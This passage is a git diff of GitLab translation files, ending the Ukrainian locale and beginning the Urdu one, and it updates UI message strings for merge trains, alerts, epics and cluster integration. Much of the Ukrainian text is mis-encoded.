@@ -28279,8 +29103,8 @@ msgstr "Ваша адреÑа електронної пошти Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "Ваша адреÑа електронної пошти за замовчуваннÑм Ð´Ð»Ñ Ñповіщень буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½ÑŒ відноÑно облікового запиÑу, Ñкщо %{openingTag}Ñпецифічна Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ адреÑа%{closingTag} не налаштована."
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
-msgstr "Ваша оцінка DevOps показує Ñк ви викориÑтовуєте функціональніÑÑ‚ÑŒ GitLab. ПоглÑньте Ñк ви ÑпіввідноÑитеÑÑ Ñ–Ð· іншими організаціÑми, відкрийте функції, Ñкі ви не викориÑтовуєте Ñ– дізнайтеÑÑ Ð¿Ñ€Ð¾ рекомендовані практики в блогах та інших публікаціÑÑ…."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "Ваші ключі GPG (%{count})"
@@ -28396,6 +29220,9 @@ msgstr "Ваші групи"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr "вже доÑтупний в цій групі"
msgid "among other things"
msgstr "тощо"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr "коміт %{commit_id}"
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "Ви вимикаєте конфіденційніÑÑ‚ÑŒ. Це означає, що <strong>будь-хто</strong> зможе бачити Ñ– залишати коментарі Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— задачі."
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "Ви вмикаєте конфіденційніÑÑ‚ÑŒ. Це означає що лише учаÑники команди <strong>Ñ€Ñ–Ð²Ð½Ñ Ñ€ÐµÐ¿Ð¾Ñ€Ñ‚ÐµÑ€ або вище</strong> матимуть змогу бачити та залишати коментарі Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— задачі."
-
msgid "connecting"
msgstr "з'єднаннÑ"
@@ -28998,6 +29822,13 @@ msgstr "зробити форк цього проєкту"
msgid "from"
msgstr "від"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr "група"
@@ -29017,7 +29848,7 @@ msgid "help"
msgstr "допомога"
msgid "http:"
-msgstr ""
+msgstr "http:"
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -29043,9 +29874,6 @@ msgstr "в групі %{link_to_group}"
msgid "in project %{link_to_project}"
msgstr "в проекті %{link_to_project}"
-msgid "index"
-msgstr "індекÑ"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "завершений інÑтанÑ"
@@ -29089,6 +29917,9 @@ msgstr "не відповідний Ñертифікат X509."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr "не дозволено. Спробуйте ще раз з іншою адреÑою електронної пошти або зв'ÑжітьÑÑ Ð· адмініÑтратором GitLab."
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "не Ñ” адреÑою електронної пошти, Ñкою ви володієте"
@@ -29168,7 +29999,7 @@ msgid "loading"
msgstr "завантаженнÑ"
msgid "locked"
-msgstr ""
+msgstr "заблоковано"
msgid "locked by %{path_lock_user_name} %{created_at}"
msgstr "заблоковано %{path_lock_user_name} %{created_at}"
@@ -29240,9 +30071,15 @@ msgstr "ВикориÑÑ‚Ð°Ð½Ð½Ñ %{metricsLinkStart} пам’ÑÑ‚Ñ– %{metricsLi
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr "Додано до ланцюжка змін"
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "ДозволÑÑ” коміти від учаÑників, Ñкі можуть зливати до цільової гілки"
@@ -29255,6 +30092,9 @@ msgstr "Помилка при отриманні даних про затверÐ
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Помилка при обробці вашого затвердженнÑ."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "Пароль Ð´Ð»Ñ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ” недійÑним."
@@ -29327,9 +30167,6 @@ msgstr "Якщо гілка %{branch} Ñ–Ñнує у вашому локальнÐ
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Якщо гілка %{missingBranchName} Ñ–Ñнує у вашому локальному репозиторії, то ви можете заÑтоÑувати цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ за допомогою командного Ñ€Ñдка"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr "В ланцюжку змін на позиції %{mergeTrainPosition}"
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr "Злито"
msgid "mrWidget|More information"
msgstr "Детальніше"
-msgid "mrWidget|No approval required"
-msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½Ðµ потрібне"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð½Ðµ Ñ” обов’Ñзковим; але ви вÑе одно можете це зробити"
-
msgid "mrWidget|Open in Web IDE"
msgstr "Відкрити у Web IDE"
@@ -29450,6 +30281,12 @@ msgstr "Гілку-джерело не буде видалено"
msgid "mrWidget|There are merge conflicts"
msgstr "Ñ–Ñнують конфлікти при злитті"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr "Ð¦Ñ Ñ„ÑƒÐ½ÐºÑ†Ñ–Ñ Ð·Ð»Ð¸Ð²Ð°Ñ” зміни з цільової гілки до гілки-джерела. Її не можна викориÑтовувати, оÑкільки гілка-джерело Ñ” захищеною."
@@ -29459,12 +30296,6 @@ msgstr "ВідбулаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при автоматичному зл
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð² процеÑÑ– виконаннÑ"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "Цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð±ÑƒÐ´Ðµ додано до ланцюжка змін піÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк конвеєр %{linkStart}#%{pipelineId}%{linkEnd} уÑпішно завершитьÑÑ."
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "Цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñтворить ланцюжок змін піÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк конвеєр %{linkStart}#%{pipelineId}%{linkEnd} уÑпішно завершитьÑÑ."
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Цей проект заархівований, доÑтуп до запиÑу було відключено"
@@ -29606,7 +30437,7 @@ msgid "password"
msgstr "пароль"
msgid "paused"
-msgstr ""
+msgstr "призупинено"
msgid "pending comment"
msgstr "коментар в очікуванні"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr "швидкі дії"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "зареєÑтруватиÑÑ"
@@ -29717,7 +30551,7 @@ msgstr[2] "відповідей"
msgstr[3] "відповідей"
msgid "repository:"
-msgstr ""
+msgstr "репозиторій:"
msgid "reset it."
msgstr "Ñкинути його."
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr "результат"
-
msgid "security Reports|There was an error creating the merge request"
msgstr "помилка при Ñтворенні запиту на злиттÑ"
@@ -29795,7 +30626,7 @@ msgid "spendCommand|%{slash_command} will update the sum of the time spent."
msgstr "%{slash_command} оновлює Ñуму витраченого чаÑу."
msgid "ssh:"
-msgstr ""
+msgstr "ssh:"
msgid "started"
msgstr "розпочато"
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr "цей документ"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "щоб допомогти вашим контриб’юторам ефективно ÑпілкуватиÑÑ!"
@@ -29866,6 +30700,9 @@ msgstr "розкрити чи закрити випадаючий ÑпиÑок"
msgid "triggered"
msgstr "запущено"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "домени в unicode повинні викориÑтовувати ÐºÐ¾Ð´ÑƒÐ²Ð°Ð½Ð½Ñ IDNA"
@@ -29918,7 +30755,7 @@ msgid "view the source"
msgstr ""
msgid "vulnerability|Add a comment"
-msgstr ""
+msgstr "Додати коментар"
msgid "vulnerability|Add a comment or reason for dismissal"
msgstr "Додати коментар або причину Ð´Ð»Ñ Ð²Ñ–Ð´Ñ…Ð¸Ð»ÐµÐ½Ð½Ñ"
@@ -29929,6 +30766,9 @@ msgstr "Додати коментар"
msgid "vulnerability|Add comment & dismiss"
msgstr "Додати коментар та відхилити"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "Відхилити вразливіÑÑ‚ÑŒ"
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index d4b0f6ec391..4d2d49c9829 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:37\n"
+"PO-Revision-Date: 2020-09-04 23:01\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
